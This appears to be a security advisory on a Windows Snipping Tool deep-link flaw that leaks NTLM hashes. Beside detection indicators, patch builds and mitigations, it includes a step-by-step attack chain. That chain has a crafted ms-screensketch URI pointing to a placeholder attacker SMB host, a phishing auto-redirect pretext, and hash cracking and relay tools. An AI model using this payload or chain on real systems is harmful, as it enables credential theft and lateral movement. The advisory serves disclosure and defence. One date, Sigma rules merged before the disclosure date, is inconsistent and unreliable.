CVE-2026-33829: 
vulnerability analysis and mitigation

CVE-2026-33829 is an information disclosure vulnerability in the Windows Snipping Tool that enables unauthenticated network attackers to leak Net-NTLM hashes via a malicious deep link, facilitating spoofing attacks. Disclosed on April 14, 2026, as part of Microsoft's Patch Tuesday, it affects a wide range of Windows versions including Windows 10 (1607 through 22H2), Windows 11 (23H2 through 26H1), Windows Server 2012 through 2025. It carries a CVSS v3.1 base score of 4.3 (Medium), assigned by Microsoft (Microsoft MSRC, GitHub Advisory).

The root cause is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Affected versions of the Windows Snipping Tool register a deep link URI schema (ms-screensketch) whose filePath parameter lacks proper input validation, allowing it to be set to an attacker-controlled UNC path (e.g., \\attacker-server\file.png). When a user opens such a crafted link — for example, embedded in a webpage or email — the Snipping Tool initiates an authenticated SMB connection to the attacker's server, transparently leaking the user's Net-NTLMv2 hash. The BlackArrow Security red team published a detailed write-up and proof-of-concept demonstrating the full attack chain (BlackArrow PoC, Core-JMP Write-up).

Successful exploitation results in the disclosure of the victim user's Net-NTLMv2 hash to an attacker-controlled SMB server, which can then be cracked offline or used in NTLM relay attacks to authenticate to other network services as the victim. While the direct CVSS impact is rated as low confidentiality with no integrity or availability impact, the practical consequence is significant: captured hashes can enable lateral movement, privilege escalation, or domain compromise in environments that have not disabled NTLM. The attack is particularly dangerous in Active Directory environments where NTLM relay to services like LDAP or SMB signing is not enforced (BlackArrow PoC, Microsoft MSRC).

A public proof-of-concept was released by BlackArrow Security and is available on GitHub, with additional PoC code published on Exploit-DB (EDB-52567) and indexed by Sploitus (BlackArrow PoC). Exploitation has been reported by multiple sources including undercodetesting.com, and Sigma detection rules have been published by the SigmaHQ community. The EPSS score is approximately 0.062%, and the vulnerability is not currently listed in the CISA KEV catalog. No specific threat actor attribution has been reported, but the low exploitation complexity and social engineering potential make it attractive for phishing campaigns (GitHub Advisory, Feedly).

1. Set up an SMB listener: The attacker configures a rogue SMB server (e.g., using Responder or Impacket's smbserver.py) on an internet-accessible or LAN-accessible host to capture incoming NTLM authentication attempts.
2. Craft a malicious deep link: Construct a URI using the ms-screensketch schema with the filePath parameter pointing to the attacker's SMB server: ms-screensketch:edit?&filePath=\\<attacker-ip>\file.png&isTemporary=false&saved=true&source=Toast
3. Deliver the payload via social engineering: Embed the deep link in a webpage, HTML email, or document. To increase credibility, host an HTML page at a convincing URL (e.g., https://snip.example.com/wallpaper/image.png) that auto-triggers the deep link via JavaScript redirect or <meta> refresh, using a pretext such as asking the user to crop a corporate wallpaper or badge photo.
4. Capture the Net-NTLMv2 hash: When the victim opens the link, the Snipping Tool launches and attempts to open the remote UNC path, initiating an SMB connection that sends the user's Net-NTLMv2 hash to the attacker's listener.
5. Crack or relay the hash: Use tools like Hashcat to crack the captured hash offline, or relay it in real time using tools like ntlmrelayx.py to authenticate to other services (LDAP, SMB, HTTP with NTLM auth) as the victim user, enabling lateral movement or privilege escalation (BlackArrow PoC, Core-JMP Write-up).

• Network: Outbound SMB connections (TCP port 445) from Windows endpoints to external or unexpected IP addresses, particularly originating from the SnippingTool.exe process; NTLM authentication attempts to unknown UNC paths.
• Process: SnippingTool.exe spawned with command-line arguments referencing UNC paths (e.g., \\<external-ip>\...) or launched unexpectedly without direct user initiation from the taskbar/Start menu.
• Logs: Windows Security Event Log entries (Event ID 4624/4625) showing NTLM authentication attempts to external hosts; Sysmon Event ID 3 (Network Connection) from SnippingTool.exe to non-local IP addresses; browser history or email logs showing access to pages containing ms-screensketch: URI schemes.
• File System: Presence of KQL detection scripts or Sigma rules referencing CVE-2026-33829 deployed by defenders (e.g., cve-2026-33829-snipping-tool-ntlm-leak.kql from SlimKQL); Emerging Threats ruleset updates (v11179, 2026-04-24) may flag related network traffic (BlackArrow PoC, Emerging Threats).

Microsoft released patches on April 14, 2026 (Patch Tuesday) addressing this vulnerability across all affected Windows versions. Key patched build numbers include: Windows 10 21H2/22H2 → 10.0.19044/19045.7184; Windows 11 23H2 → 10.0.22631.6936; Windows 11 24H2 → 10.0.26100.8246; Windows 11 25H2 → 10.0.26200.8246; Windows Server 2022 → 10.0.20348.5020; Windows Server 2025 → 10.0.26100.32690. As interim mitigations, organizations should block outbound SMB (TCP 445) to external/untrusted networks at the firewall, enforce SMB signing to prevent relay attacks, consider disabling or restricting access to the Snipping Tool if not required for business operations, and educate users about the risks of clicking unsolicited links that may trigger application URI handlers (Microsoft MSRC).

BlackArrow Security, who discovered and responsibly disclosed the vulnerability, published a detailed write-up and video PoC on GitHub, generating significant community attention on Reddit's r/blueteamsec and Bluesky (BlackArrow PoC). The SigmaHQ community rapidly developed detection rules (merged in release r2026-04-01), and Emerging Threats updated their ruleset (v11179) within 10 days of disclosure. Security researchers drew parallels to a related unpatched Windows Search URI handler flaw that similarly leaks NTLMv2 hashes, with Huntress publishing a blog post noting Microsoft's reluctance to patch that related issue (Huntress Blog). Coverage appeared across CyberSecurityNews, CyberPress, and multiple security newsletters including the NCSC CTO weekly summary.